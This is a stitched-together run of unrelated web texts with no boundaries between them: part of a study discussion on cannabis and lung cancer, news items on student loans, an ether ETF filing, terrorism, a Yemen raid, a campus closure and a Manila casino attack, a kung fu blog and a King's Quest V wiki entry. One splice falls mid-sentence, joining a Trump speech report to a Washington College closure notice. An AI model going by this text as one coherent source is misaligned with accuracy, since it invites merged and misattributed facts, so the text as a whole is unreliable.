The risk of lung cancer from cannabis use was restricted to the upper tertile of joint-years of use, with a 5.7-fold greater risk in those with more than 10.5 joint-years of cannabis use. However, it is unlikely that this represents a threshold effect, as a linear relationship has been clearly demonstrated between tobacco cigarette consumption and risk of lung cancer.[32] The lack of an association in the lower tertiles may be due to the relatively small number of cannabis users in the study and the young age of subjects reducing the time available for high numbers of joint-years to accumulate, resulting in low levels of exposure (up to 1.39 joint-years for the lower tertile).
Further analysis was undertaken in which the risk of lung cancer was assessed for cannabis use up to 5 years prior to the diagnosis. This approach was based on evidence that in most cases with lung cancer, the duration between malignant change and diagnosis is greater than 5 years.[33] When cannabis use in the 5 years prior to diagnosis for the cases (and prior to the reference date for the controls) was excluded from the analysis the strength of the association was maintained, as would be expected if a causal association existed, with a 10% increase in risk for each joint-year of exposure.
There was some suggestion that the risk of lung cancer may increase with earlier onset of cannabis use but the small number of subjects prevented more detailed assessment of this potential risk factor. However, such an association would be consistent with the evidence that the age of onset of tobacco smoking is a determinant of lung cancer risk.[34,35] Further case-control studies are needed to quantify the lung cancer risk associated with cannabis use, including the influence of the age of starting cannabis smoking, the dose-response relationship, and the dose equivalence with cigarette smoking.
In the young adults we studied, the population attributable risk for cancer of the lung with cannabis smoking was estimated to be 5%. If any increased risk was maintained as these young people age, then a considerable burden from lung cancer due to cannabis smoking may occur in the future.
Our findings are consistent with the three North African case-control studies [16-18] which have reported a six to eight-fold increased risk of lung cancer with cannabis smoking, although the lack of detailed smoking histories and the custom of mixing cannabis with tobacco may have contributed to the risks observed. In contrast, a large case-control study from California with an estimated participation rate in cases of only 39% reported no association between cannabis use and lung cancer.[19] The controls in the Californian study were matched for neighbourhood which may have made detection of an association less likely, as cannabis use is likely to be similar within distinct neighbourhoods. This may have contributed to the higher rates of cannabis use in the controls than previously reported from California.[36] Also, African-American people were less likely to have participated than other ethnic groups, suggesting significant selection bias may have occurred. A positive relationship between cannabis use and cigarette smoking was observed in the controls, but the opposite relationship was present in the lung cancer cases, which also suggests selection bias or differential reporting between cases and controls.
These studies, and our own, highlight the difficulties inherent in undertaking epidemiological research of the effects of cannabis. While it is important to interpret the findings in the context of these limitations, the balance of evidence would suggest a positive association between cannabis and lung cancer. This issue is of major public health importance, due to the prevalent use of cannabis globally and lung cancer being responsible for over a million deaths each year.[37,38] With the prevalence and mortality from lung cancer increasing, prevention by risk factor modification is of paramount importance. Major efforts are being made to reduce the prevalence of tobacco smoking.[39] The findings of this study suggest that these public health programmes may need to include greater initiatives to reduce cannabis smoking and should be directed particularly at young people.U.S. Education Secretary Betsy DeVos is withdrawing protections put in place by former President Barack Obama for students who have mismanaged or are defaulting on their college loans.
In a letter to Federal Student Aid (FSA) operating officer James Runcie, DeVos withdrew several policy memos, issued by former Obama education secretary John King, which concerned the servicing of student loans and how student loan debt is collected.
“Our mission in the student loan servicing procurement process is to provide high quality customer service to federal loan borrowers in a cost-efficient and effective manner,” DeVos wrote, adding:
Unfortunately, this process has been subjected to a myriad of moving deadlines, changing requirements and a lack of consistent objectives. We now find ourselves in a situation where we must promptly address not only these shortcomings but also any other issues that may impede our ability to ensure borrowers do not experience deficiencies in service. This must be done with precision, timeliness and transparency.
The Obama-era memoranda directed the FSA to shift its focus from collecting student debt to assisting student borrowers in debt management, even to the extent of allowing them to default on their loans. The former administration presented itself as a protector of students against mistreatment by student loan companies that were seeking to collect debts owed and were accused of abusing student borrowers to pad their own profits.
Bloomberg reports that DeVos’s move comes on the heels of congressional lobbying efforts by the student loan industry to delay or change the Obama-era loan servicing policies. When new student loan company contracts terminate in 2019, Navient Corp will be among three finalists for renewal. State attorneys general in Illinois and Washington, and the U.S. Consumer Financial Protection Bureau (CFPB) – which was created by the Obama administration under a proposal by now Sen. Elizabeth Warren (D-MA) – have sued Navient over allegations the company was abusive to student borrowers. Navient has denied the accusations.
“The Department of Education has decided it does not need to protect student loan borrowers,” Illinois Attorney General Lisa Madigan said in a statement about DeVos’s move.
According to the Bloomberg report, the government spends some $800 million to collect on about $1.1 trillion of debt. During the two Obama terms, approximately 8.7 million American students defaulted on their loans, “for a rate of one default roughly every 29 seconds.”
“The student loan servicing procurement affords us a significant opportunity to improve outcomes and experiences for federal student loan borrowers, as well as demonstrate sound fiscal stewardship of public dollars,” DeVos said in the letter. “ We must create a student loan servicing environment that provides the highest quality customer service and increases accountability and transparency for all borrowers, while also limiting the cost to taxpayers.”Major technology companies say they are struggling to recruit young people in the UK.
Firms such as Facebook claim they are finding a gap in skills, saying people from other countries are often better qualified.
The government says it is changing the curriculum to focus on programming.
Intellect, the UK's technology trade association, estimates that 100,000 people are needed to enter the digital sector each year.
Despite generous salaries and benefits, many firms say they are finding people leaving school or university are not ready for work.
Facebook, which operates its only software engineering base outside the US in London, says it is frustrated at the lack of suitably qualified candidates.
"It's really not easy," said Simon Milner, the company's head of policy. "We don't tend to find a lot of British young people who are ready to come and work at Facebook."
Going through the education system you get this impression that it's a golden ticket and you're going to leave uni and walk into a £40,000 a year job instantly. It took me seven months to get a job AJ Grand Scrutton CEO of Dlala Studios
Earlier this year the government announced changes to the school curriculum to better prepare young people for jobs in the digital sector.
The latest jobless figures show unemployment fell by 57,000 to 2.51 million in the three months to May with youth unemployment falling by 20,000.
A spokesperson for the Department for Business, Innovation and Skills said changes to ICT classes would put "a greater emphasis on computational thinking and programming".
Some companies are trying to address the problem by running programmes that encourage young people to develop their skills.
Students at the Nelson Thomlinson School in Cumbria recently won £10,000 as part of the Apps for Good scheme.
The programme, backed by major technology companies and the government, encourages students to research, design and make digital products.
"A few years ago I would never have thought that I would be a young entrepreneur," said 15-year-old Tara.
While changes to the curriculum have been welcomed by many companies, industry professionals stress the importance of gaining experience.
AJ Grand Scrutton, 28, is CEO of Dlala Studios, a small independent video games developer.
He admits his degree in computer science was not the key to a well paid job that he had hoped for.
He said: "Going through the education system you get this impression that it's a golden ticket and you're going to leave uni and walk into a £40,000 a year job instantly.
"It took me seven months to get a job."
The company receives free software and support from Microsoft, as part of the technology giant's BizSpark programme supporting start-up firms.
While not acknowledging a skills gap, senior fellow at Yahoo! Bruno Fernando Ruiz, explains competition between companies for talented engineers is fierce.
"This is a race, a race for talent," he said. "Google, Facebook, Twitter, us, we are in the same game competing for the same people."
Follow @BBCNewsbeat on TwitterIn yet another sign that companies are eager to turn digital currencies into proper investment vehicles, a newly formed company called EtherIndex LLC filed last Friday with the Securities and Exchange Commission to launch an exchange-traded fund based on ether, the cryptocurrency that powers the Ethereum network.
The move comes on the heels of the SEC opening a proposal for a Bitcoin ETF by Cameron and Tyler Winklevoss of Gemini for public comment, and a filing last Tuesday by SolidX to launch a Bitcoin ETF.
Ether is a young digital currency, similar to Bitcoin, launched not quite a year ago. Its market cap is a fraction that of Bitcoin’s — for the last month, it’s both exceeded and dipped below the $1 billion range, while Bitcoin’s market cap is has been more stable around $10 billion.
The filing is remarkably early for such a young cryptocurrency, especially one that has been beset by problems and volatility in the last month.
However, the recent activity around cryptocurrency ETFs indicates that many recognize the demand for legitimate digital currency investment vehicles. Investors are extremely limited in ways to get Bitcoin exposure in their portfolios. The Bitcoin Investment Trust (GBTC) by Grayscale Investments is one such vehicle, and it trades at a significant premium to Bitcoin itself. Intended to be priced at one-tenth the cost of one Bitcoin, it trades on the open market at near double that.
There is currently no way for investors to get ether exposure in their portfolios.
Despite investor interest, given how immature ether is as a cryptocurrency, it seems unlikely the SEC would be comfortable using it as an underlying asset in an investment vehicle any time soon.
Additionally, the S-1 filing appears to be hastily put together -- another reason eager ether investors may be in for a wait.
EtherIndex itself was only founded a month ago, and its filing is mostly incomplete, acting more as a shell or placeholder. It does not name an exchange, ticker, trustee or administrator. (Gemini’s proposed Winklevoss Bitcoin Trust has selected BATS, and SolidX intends to list on the New York Stock Exchange.)
The lack of other infrastructure players could reflect the thin relationships that the cofounders have. Chief executive officer, Gregory DiPrisco, whose LinkedIn profile indicates he is a futures trader at energy trading firm Axiom Markets, does not seem to have other experience with digital currencies. Cofounder and chief financial officer Joseph Quintillian, whose LinkedIn profile states he is a partner at Axiom, similarly does not appear to have other virtual currency experience.
DiPrisco and Quintillian did not respond to calls and messages for comment.
Given how nascent ether is, the recent troubles its had, and EtherIndex’s lack of a track record, it could be a while before the SEC is comfortable with creating a proper investment vehicle backed by ether, especially one created by an inexperienced team. The first gold ETFs, GLD and IAU, launched about a dozen years ago, were brought to market by ETF companies Spider and iShares.
Ether is currently in a shaky state, with the Ethereum community attempting to emerge from a crisis sparked by a crowdfunding project called the Decentralized Autonomous Organization (the DAO), which raised more than $150 million in ether — the largest crowdfunding project in history.
However, the project turned sour when a nefarious actor or actors exploited a loophole in the project to steal about $50 million of ether. Since then, confidence in the currency has been shaken, and the value plummeted from about $20 per ether to $10 and is now trading at about $11.
Still, financial institutions are building up infrastructure to bring digital currencies into traditional investing. One of the largest derivatives exchanges, CME Group, plans to launch a Bitcoin reference rate and a real-time index that acts as a price discovery mechanism. And a recent white paper by ARK Investment Management, the first public fund manager to invest in Bitcoin in its ARKW ETF, and a Bitcoin company Coinbase, which also has an institutional grade exchange, Global Digital Asset Exchange (GDAX), found that Bitcoin has the properties of a new asset class.
“[The filing by EtherIndex] is confirmation that many people are seeing cryptocurrencies as a new asset class and they’re trying to securitize them and offer more investors exposure,” says Chris Burniske, blockchain analyst and products lead at ARK. “On the flip side of things, these are long processes, and the SEC needs to get comfortable with these things. Just because there’s a filing in the water doesn’t mean that a public listing is impending.”Shanghai has three styles of kung fu which are popular, Xingyi Quan, Xinyi Liuhe Quan and Wu style Taiji Quan. After reading up and watching some clips I began to feel like Xinyi Liuhe Quan is quite similar to Taiji Mantis, so I decided to check it out. I made a new friend, a guy from Iran I met on Rum Soaked Fist called Reza, who had been learning the style for several years here alongside Chinese medicine, and he agreed to take me to visit his teacher.
His teachers name was Xue Hong En, and he is a Hui, a Chinese Muslim. Being born into a traditional martial arts family from central China, he began learning martial arts from a very young age. He studied Jiao Men Quan (教门拳), which means the styles of the faith, referring to Islam. There are three styles included under this term, which are Cha Quan, which is a kind of long fist developed in the Ming Dynasty by a famous Muslim general and is often taught to kids in local Mosques, Qi Shi Quan, which means seven postures fist and is considered very secret and apparently not taught to non-Muslims, and Xinyi Liuhe Quan, which is a very powerful and aggressive internal system which is Master Xue’s main style.
Xinyi Liuhe Quan is often known as “the Henan Xingyi branch” or “the Muslim Xingyi” branch, as it stems from the same root as Xingyi Quan, although has some major differences. Xinyi is based on 10 animals, and does not use the San Ti Shi posture or Five Element Fists found in other Xingyi branches. Instead it begins training with Ji Bu, or Chicken Step, a very odd looking posture which is incredibly demanding on the legs and develops huge internal power. Ji Bu is practiced both standing and walking, and looks very simple, however it is the core from which the whole system is built on.
Master Xue was a very friendly and nice man. He was teaching a class of students both old and young in a parking lot, to shelter from the typhoon. He invited me to join in and taught me the famous Chicken Step mentioned above. He showed me a few applications to the movement, for example although it just looks like a step, it is hiding both a knee and a shin kick. This shin kick is called Gua Di Feng, and is a trademark movement of the style. Xinyi Liuhe people are famous for the power of this kick, which they practice by kicking trees daily! He then showed me a groin strike, with a gentle slap to my thigh, which seriously stung and left a bruise! He also showed an elbow, luckily not one me, and lastly a shoulder strike, which I didn’t expect and he knocked me flying back! I also had chance to watch him perform some techniques, and well as some of the other students, and was really impressed by their Shen Fa and power generation.
Anyway, back to the Chicken Step. It is fairly similar to Taiji Mantis‘ small mountain climbing stance, with the knees very close to each other for groin protection, and the body held in a straight line totally side on to be more powerful in a forward direction. The major difference was the the chest is hollowed the back rounded, which Mantis doesn’t emphasize, and the XYLH posture has the arms in a much more relaxed state, whereas Mantis does stance training with the fists squeezed tightly to tense up the forearms. However from the little I saw the end result seems to be similar, as I didn’t see any major differences when they did their forms, however I will need more time to really get a good picture.FBI Director James Comey reiterated his concern that an unprecedented “terrorist diaspora” will occur after the Islamic State (ISIS/ISIL) territory is “crushed” by the U.S.-led coalition, calling the imminent phenomenon “the ghost of Christmas future.”
Currently, the FBI is dealing with an estimated 1,000 open homegrown terrorism cases in the United States that include people “of all backgrounds,” noted Comey.
“The director said that FBI’s terrorism-related cases have spanned the age range of roughly 15-60 years old, adding that there is no one particular ‘hot spot’ in the U.S. for extremist activity because a lot of the recruitment and inspiration continues to happen online,” points out Fox News.
During a national security summit at the University of Texas at Austin, Comey predicted that the jihadist diaspora would flow outward from the Middle East to Western Europe, Southeast Asia, and North Africa.
The FBI chief urged government leaders and intelligence officials in Western Europe, without mentioning the recent ISIS-claimed attack in London, to “break down the barriers” in the European Union and join forces to decimate the jihadist threat.
“Comey compared Europe’s need to unite on security issues to changes in the U.S. following the 9/11 attacks. He described Western Europe as FBI’s front lines in preventing those individuals from committing violence outside of the so-called caliphate,” concedes Fox News.
The FBI chief’s recent comments about the terrorist diaspora following ISIS’s defeat echo remarks he made in the not so distant past.
During a cybersecurity conference at Fordham University in July 2016, Comey explicitly said where the “terrorist diaspora” would wreak havoc after ISIS’s defeat.
“At some point, there is going to be a terrorist diaspora out of Syria like we’ve never seen before. Not all of the Islamic State killers are going to die on the battlefield,” warned Comey.
The FBI director predicted that the U.S. and its allies would decimate ISIS but conceded that “through the fingers of that crush are going to come hundreds of really dangerous people and they are going to flow primarily to Western Europe” but also to the United States.
He made a similar dire prediction a few months later in September 2016.
“The so-called caliphate will be crushed,” declared Comey at the time. “The challenge will be: Through the fingers of that crush are going to come hundreds of very, very dangerous people. They will not all die on the battlefield in Syria and Iraq. There will be a terrorist diaspora sometime in the next two to five years like we’ve never seen before.”President Trump's first counter-terrorism operation, that ended in the death of U.S. Navy SEAL William “Ryan” Owens, was, Reuters reports according to military officials, undertaken without sufficient intelligence, ground support or adequate backup preparations.
U.S. Navy SEAL William “Ryan” Owens was killed in the raid on a branch of al Qaeda, also known as AQAP, in al Bayda province, which the Pentagon said also killed 14 militants. However, medics at the scene said about 30 people, including 10 women and children, were killed.
Reuters reports that U.S. Central Command said in a statement that an investigating team had "concluded regrettably that civilian non-combatants were likely killed" during Sunday's raid. It said children may have been among the casualties.
Central Command said its assessment "seeks to determine if there were any still-undetected civilian casualties in the ferocious firefight."
However, in what appears yet another leak, Reuters adds that...
U.S. military officials told Reuters that Trump approved his first covert counterterrorism operation without sufficient intelligence, ground support or adequate backup preparations. As a result, three officials said, the attacking SEAL team found itself dropping onto a reinforced al Qaeda base defended by landmines, snipers, and a larger than expected contingent of heavily armed Islamist extremists. The Pentagon directed queries about the officials' characterization of the raid to U.S. Central Command, which pointed only to its statement on Wednesday. "CENTCOM asks for operations we believe have a good chance for success and when we ask for authorization we certainly believe there is a chance of successful operations based on our planning," CENTCOM spokesman Colonel John Thomas said. "Any operation where you are going to put operators on the ground has inherent risks," he said.
The U.S. officials said the extremists’ base had been identified as a target before the Obama administration left office on Jan. 20, but then-President Barack Obama held off approving a raid ahead of his departure.
One of the three U.S. officials said on-the-ground surveillance of the compound was “minimal, at best.” “The decision was made... to leave it to the incoming administration, partly in the hope that more and better intelligence could be collected,” that official said.
* * *
It appears President Trump has 'leaks' everywhere.Please enable Javascript to watch this video
What was pitched as Donald Trump's maiden foreign policy address ended up being Donald Trump's umpteenth stump speech.
The Republican front-runner stood on a battleship in Los Angeles on Tuesday evening and largely dispensed with the idea that he would offer a broad foreign policy vision. Instead, the businessman spoke for under 15 minutes aboard the USS Iowa, returning to his tough rhetoric on immigration as several hundred protestors chanted their disapproval nearby.
There was no mention of ISIS, the Islamic militant group Trump has in the past pledged to eradicate, and few policy solutions to the rise of China, the nation he says is responsible for America's trade problems. Trump did once again blast the Iran nuclear deal reached by President Barack Obama and world powers, and offered some more details on his pledge to tear apart the Department of Veterans Affairs and improve health care for former service members.
"We're going to create a whole new system. We're going to take the system apart. You're going to get the greatest service of any country because you deserve it," Trump said. "We have illegal immigrants that are treated better, by far, than our veterans."
The meat of Trump's foreign policy speech centered on what has been at the heart of his meteoric rise to the top of national polls: Illegal immigration. As soon as the event got underway, several hundred protesters were allowed into the parking lot about 200 feet from the ship, chanting, "Racist, go home" and "Donald Trump is a racist."
"The drugs pour in, and the money pours out. Not a good deal," Trump said, recalling his visit to the Texas-Mexico border. "So we're going to build a wall."
The Republican presidential front-runner -- standing in front of three massive guns protruding at 45-degree angles from the battelship -- donned his now-trademark "Make America Great Again" hat as he bellowed into the microphone. When his remarks concluded, Trump threw hat after |
entirely, and added this update:
In the interest of safety and in light of the ongoing law enforcement investigation, Washington College will be closed until further notice. Anyone who is currently off-campus should remain off-campus. There will be a Washington College staff member shortly in the residence hall to check you out before you leave. All students who can leave campus and return home should do so after they check in with the WC staff member. Students who live off-campus should stay in their off-campus housing or return home. Students who are unable to return home should attempt to travel with a friend if possible, or should stay in their residence hall room until further arrangements can be made. Faculty and nonessential staff who are on campus should leave campus and return to their homes; anyone who is off campus should stay off campus until further notice. They should continue to monitor their email, the website, and WACAlerts for updates in the coming days as this situation unfolds. Any afternoon and evening events are cancelled until further notice. Once again, we have not had any direct threats against campus or any members of our community, but in the interest in caution we feel closing campus until the situation changes is the best course of action. Anyone who has contact with Jacob should contact law enforcement immediately.
Lt. John Frye of the Cheltenham Township, Penn., police department wrote in an e-mail that the warrant for Marberger’s arrest is in connection with “an incident that happened on his campus in Maryland.”
It’s unusual to completely shut down a college campus, but Eastern Kentucky University did so for several days earlier this fall after a written threat was found to “KILL ALL.” That threat came not long after a student at an Oregon community college walked into class and gunned down nine people.
[Eastern Kentucky U. closes over threat]
When asked about reports that Marberger had been seen Monday at a store that sells ammunition, Frye responded by e-mail: “Walmart in Hamburg, Pa.” That store is northwest of Marberger’s hometown of Cheltenham, Pennsylvania.
Authorities described Marberger as 5 foot 4 inches tall, 130 pounds, with curly brown hair. On Monday, police said he was last seen driving a dark green, 1997 Land Rover with Pennsylvania license plates beginning with “JWY.”
His parents have declined to comment.
On Tuesday, students were frantically trading messages from their dorm rooms on social media, trying to figure out what was really happening and whether college officials were overreacting, or they were were in actual danger.
Some traded links such as a past school update about an exhibit about guns, at which a photo was captioned, “Jacob Marberger ’18 discusses his stance on gun rights and the Second Amendment with Provost and Dean Dr. Emily Chamlee-Wright.”
Some people also reached out directly to Marberger.
#JacobMarberger Jacob I can only hope that you are safe, remember that you ARE loved and do not be scared! PLEASE contact your family! #CHS — Piper (@_Perridise) November 17, 2015
#jacobmarberger come home, dude. Everyone really just wants to know you're okay. — Aaron Shapiro (@BricolageYumYum) November 18, 2015
By Tuesday afternoon, the campus appeared deserted. Blinds were drawn tight on academic buildings and the school’s sidewalks were desolate. The only presence Tuesday was police officers roving the grounds on the lookout for suspicious activity.
Taylor Douglas, a freshman from the Chestertown area, said that she felt unease at school in the wake of the news that an armed student is on the loose. Douglas, 18, said that the school abruptly canceled classes without much explanation.
“It’s kind of anxious, and I wish they told us why,” Douglas said, noting that she was in the library studying Tuesday when officials told her to leave. “They aren’t telling us what happened and why they suddenly decided to cancel classes. … I don’t know what it is.”
Washington College professor Tahir Shad said that in his 27 years on campus the school has never before issued a lockdown. Shad said that while safety comes first for students, he plans to continue working like normal, grading papers for his political science and international studies classes.
“With all the terrorism recently, I just can’t bring myself to hide in an office,” Shad said. “I think you should just carry on.”
Shad said that he had Marberger in his classes and was impressed by the student’s sharp intellect and in-depth knowledge of military history. Shad said that Marberger was among a group of students who went to Seoul in March for a Model United Nations conference. During the trip, the students stopped at the Demilitarized Zone on the border of North and South Korea.
“He knew more about North Korea’s army than I did,” Shad said. “He knew all about the weaponry, the tactics and strategy.”
Shad said that Marberger was articulate and “highly intellectual.”
“He seemed to thrive here,” Shad said.
Jennifer Jenkins contributed to this report. Svrluga reported from Washington.Yoo Ah In is in talks for the lead role in tvN’s “Chicago Typewriter” (tentative title).
In response to reports about his appearance in the drama, a source from Yoo Ah In’s side clarified, “It is true that we received an offer for the role, but it is one of the many works we are looking into.”
“Chicago Typewriter” was written by the writer of “The Moon Embracing the Sun” and “Kill Me, Heal Me.”
With reports about Yoo Ah In preparing for his next drama, people are beginning to wonder when he will enlist. Last December, Yoo Ah In received a “needs re-evaluation” result in his medical checkup for the third time. Due to a past shoulder injury, he is having trouble passing the checkups and had to repeatedly postpone his enlistment.
In an interview last July, he explained, “No matter how reasonably things are dealt with, there will be people saying, ‘Why isn’t he fulfilling his military duties?’ I thought about waiting until my enlistment is confirmed, but then again, I didn’t want to waste the time I have just because of what others are saying about me.”
Meanwhile, it was previously reported that Park Shin Hye also received an offer to star in “Chicago Typewriter.” The drama will be airing in March as a follow-up to “Tomorrow With You.”
Source (1)Fears have been expressed for the safety of public facilities in Manila after a lone gunman was able to enter an upscale casino and hotel complex with an M4 carbine and gasoline, firing shots and setting fire to gaming tables before immolating himself.
Thirty-six bodies were found in the wake of the brazen attack on Resorts World Manila, which took place in the early hours of Friday morning. The Metropolitan Manila police chief told AP that they had suffocated from smoke set off by the gunman.
According to a statement from Resorts World, 30 people were brought by its security team to hospital for medical attention. The Manila Bulletin reported that 54 people were hurt when they jumped for safety.
ISIS claimed responsibility for the attack, AP reports, and there are concerns that ISIS-affiliated militants, currently under siege in the southern city of Marawi, have been planning diversionary attacks elsewhere in the country. However, police say there is no immediate evidence of a terrorist link.
The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now
Richard Heydarian, assistant professor of political science at De La Salle University in Manila, told TIME via email that “Regardless of the affiliation and identity of the assailants, whether tied to ISIS or just a criminal [act], the attack took place in one of the poshest and safest areas in the country,” and would “add to a long list of negative perceptions about the Philippines,” which is currently in the throes of a brutal, globally condemned war on drugs.
The unidentified attacker, described by police as a Caucasian foreigner, caused mayhem in the complex of hotels, casinos, shops and restaurants in the upscale Newport City district when he rampaged through a second floor gaming hall.
Newport City resident Roxanne Lu told TIME that she was advised by security officers to stay in her apartment and spent the night listening to sirens. “We didn’t know if there were bombs planted or armed men spread out,” she said, adding that she was first alerted to the trouble when a worried friend called her saying that he could see smoke billowing from Newport City from his apartment 7 kilometers away.
Noreen Gonzales, 21, said she finished eating a meal at the complex just minutes before the attack, and thought it had come under assault from terrorists, describing the panic as terrifying. “We thought it’s an ISIS attack because what’s happening in Mindanao,” she told TIME.
She told TIME that the security failure that allowed a gunman into the complex worried her, because she worked as a check-in clerk at Manila’s Ninoy Aquino International Airport, just opposite Resort World, and feared that the airport could be “really an easy target for the Manila area.”
It remains uncertain how the attacker was able to smuggle an assault rifle and inflammable liquids into the complex. Patrons routinely undergo bag inspections and must pass through metal detectors at many malls and hotels in the Philippines, where firearms are readily available and where an Islamist insurgency has seen the declaration of marital law on the archipelago’s second largest island, Mindanao.
“The Philippine security forces in posh areas are well equipped, so this could be intelligence failure and a shortcoming on the part of the casino’s security structure too,” Heydarian said.
He added: “The pressure is on the Duterte administration to avoid public panic, double down on its anti-crime bona fides, and reassure investors that the
Philippines is a safe place to go to. It will be an uphill battle.”
—With reporting by Kevin Lui / Hong Kong
Write to Joseph Hincks at [email protected] making survey inspections of Key Largo’s coral reefs and shipwrecks soon after Hurricane Irma came back smiling.
“The reefs look spectacular, compared to what we thought they would look like,” said Billy Wise, general manager for Rainbow Reef Dive Center in Key Largo.
“We’re super optimistic about the reefs,” Wise said. “We had seven boats out Saturday. Everybody I talked to at the dock was positive and said everything looks great.”
About two dozen divers from Rainbow Reef checked corals at Molasses Reef, Grecian Rocks, the Christ of the Abyss statue and French Reef.
Sign Up and Save Get six months of free digital access to the Miami Herald
“Some of the reefs have gotten deeper because sand moved,” Wise said. “It’s a little like diving a new site.”
“I was expecting to see more dead sea fans, but it seems like most of them came through OK.”
Near the World War II wreck of the freighterBenwood, the storm uncovered an anchored that had been buried in sand for decades.
“That was an incredible find,” Wise said. “It’s as cool looking as anything.”
On the shipwreck reef Duane, a retired U.S. Coast Guard cutter, a top section of a smokestack was removed by the hurricane. “It kind of make it more interesting,” Wise said.
Other shipwrecks, including the big Spiegel Grove wreck that was rolled upright by a weaker storm, appear to be in tact.
“All in all, we’re ready and happy to be letting visitors come back in,” Wise said. “We want to let people know that not everything is negative.
“We have a great staff of 70 and we want to keep them here and working,” he said. “People are going to be curious about what’s happening on the reef, and that will help rebuild the Keys economy.”
Rainbow Reef and other Upper Keys shops helped remove some debris from canals and the ocean bottom. “We found a refrigerator floating by about a mile offshore,” Wise said.
Reports from dive shops in the Middle and Lower Keys, more hard-hit by Irma, were pending.
Cece Roycraft of Dive Key West said many dive operators have been focused on repairs before focusing on booking trips.
“It will be a week or so before we take customers out,” Roycraft said. “Our boat is fine, but the store had some damage. Hurricane Wilma was far worse for us, though.”
Staff with the Florida Keys National Marine Sanctuary is “assessing the impact of Hurricane Irma to our underwater environment,” Superintendent Sarah Fangman said in a statement.
“The Category 4 storm caused serious damage on land and, undoubtedly, created changes in the waters surrounding the Florida Keys.... We urge caution for those going on and in the water. Many waterways are littered with sunken boats and other debris.”Cory Golightly (WPSD)
A western Kentucky sheriff’s deputy was placed on paid leave after accidentally shooting his mother during a wedding ceremony.
Detective Cory Golightly, a McCracken County sheriff’s deputy, brought a personal weapon over the weekend to the wedding at Bardwell Baptist Church in nearby Carlisle County, reported WPSD-TV.
The weapon fell to the ground and fired – striking Golightly’s mother — as the deputy adjusted his jacket, investigators said.
A witness who was playing piano during the service said she heard the shot as she left the sanctuary, but she did not immediately realize what it was because it was so loud.
“My initial reaction was, ‘Oh my goodness. Could that possibly be a gun?'” said witness Jenine King. “Then my next thought was, ‘Gosh, who’s in the church with a gun?'”
King said she understood what happened after Golightly called out to his mother.
The deputy tended to his mother before medical crews arrived.
Golightly’s mother was listed in stable condition at a Nashville, Tennessee, hospital.
The sheriff’s office has declined requests for comment on the case.
Watch this video report posted online by WPSD-TV:
WPSD Local 6: Your news, weather, and sports authorityKing's Quest V: Absence Makes the Heart Go Yonder! (also known simply as King's Quest V) is a 1990 graphic adventure game by Sierra On-Line. Originally released in November 1990, it featured a significant improvement in graphics (achieved through the introduction of VGA into the series). It was also the first King's Quest installment to replace the typing user interface with a point-and-click user interface. The title is a spoof on the proverb "Absence makes the heart grow fonder."
King's Quest V sold over half million copies and won several awards. It was later released as a fully voiced "talkie" CD-ROM, done by members of the Sierra staff. By summer a Sega CD port of the game was announced, but was never released.[1]
Plot [ edit ]
In the introduction to the game, a view of Castle Daventry is shown, when suddenly, a mysterious cloaked figure appears. He enchants the castle, causing a whirlwind to appear, which soon engulfs the castle and lifts it out of sight. Because he is out walking when this happens, King Graham is the only member of the royal family to be left behind. He returns to the castle to find that it has disappeared, and is soon confronted by a talking owl named Cedric.
Cedric witnessed the cloaked figure's attack, and tells Graham that it was a powerful, evil wizard named Mordack who stole the castle. Cedric then brings Graham to the land of Serenia, where his master Crispin resides. Crispin is also a wizard, but a good one, who gives Graham some advice, his old wand, and a piece of white snake which allows Graham to speak with animals. Graham then starts on his journey.
Later, Graham learns that Mordack is the brother of the wizard Mannanan, whom Graham's son, Prince Alexander, turned into a cat in King's Quest III: To Heir Is Human. Mordack has imprisoned the castle and royal family of Daventry out of revenge, and threatens to feed the royal family to Mannanan unless Prince Alexander agrees to restore him to his true form. King Graham travels through the land of Serenia, gathering helpful items and information, and eventually makes his way to Mordack's island, and to his castle lair, to save his family from their impending doom.
The owl Cedric accompanies the protagonist Graham through the entire game to provide commentary and advice. He has to be rescued from danger at several points. The only useful thing the owl does is inadvertently saving Graham's life from a spell near the end of the game.
Connections to other King's Quest games [ edit ]
Though still largely standalone, King's Quest V is one of the few where the elements of the plot itself are directly connected to events or individuals in both previous and future games. The location the game is set in, Serenia, was first visited in the earlier game Wizard and the Princess. The transformation of Manannan into a cat is a necessary task to completing King's Quest III. And this act has profound consequences for Alexander (and his family), as it is the impetus for the KQV storyline.
The game's ending ties into its sequel, King's Quest VI. Cassima was introduced as a slave to the wizard Mordack. Before she is sent home at the end, Alexander mentions wanting to visit her in the Land of the Green Isles, which happens at the beginning of KQVI. And Cassima mentions her Vizier, who first introduced Mordack to her. In KQVI, we find out that Mordack and the Vizier (who is the primary antagonist of KQVI) are both part of an organization known as the Society of the Black Cloak (technically only the Vizier is confirmed to be a member, but members of the organization know of Mordack). Even the music for Cassima in Mordack's castle is enhanced and used for the love theme for Alexander and Cassima. At the end of that game, the Vizier is defeated by Alexander and Cassima and the two marry.
Versions [ edit ]
King's Quest V was the last in the series to feature EGA and Tandy graphics at 320×200: a separate EGA release contained 16-color 320×200 versions of the graphics, whereas the VGA release featured 320×200 256-color VGA graphics (and, unlike later SCI games, did not support rendering these into 16 colors at 640×200 resolution on EGA cards).
Floppy disk [ edit ]
The diskette (EGA and VGA) require Graham to cast spells throughout the game, requiring the user to refer to the manual as a form of copy protection. This was omitted in the CD-ROM version. The disk version has a slightly different game interface, similar to the version later used in the NES version, main difference being that there is an additional walk option. Several of the animated characters including the rat, the ant, and the bee, have large closeup pictures of their upper torsos, that are fully animated, including arms and for the insects antenna. The ant for example even raises up the golden needle. These closeups and animations were modified or mostly cut from the CD-ROM version (which only shows closeups on the characters' faces).
The CD-ROM is mastered in the High Sierra Format, unrelated to the publisher's name. This version added voice acting. There are also many script differences between the floppy and CD-ROM versions. Many of the narrative descriptions were modified, and lines were added to characters that did not have speaking roles. For example, the snake and some of the villagers are given a few quotes, where as they did not speak at all, and ignored Graham in the floppy version. Many of the characters have close up pictures (taken from the floppy) that were given various colored backgrounds behind them, and a frame around them (though the frame cuts off some details). The snake is even given a close up picture for its new speaking parts and a few of the characters are given more lines.
NES [ edit ]
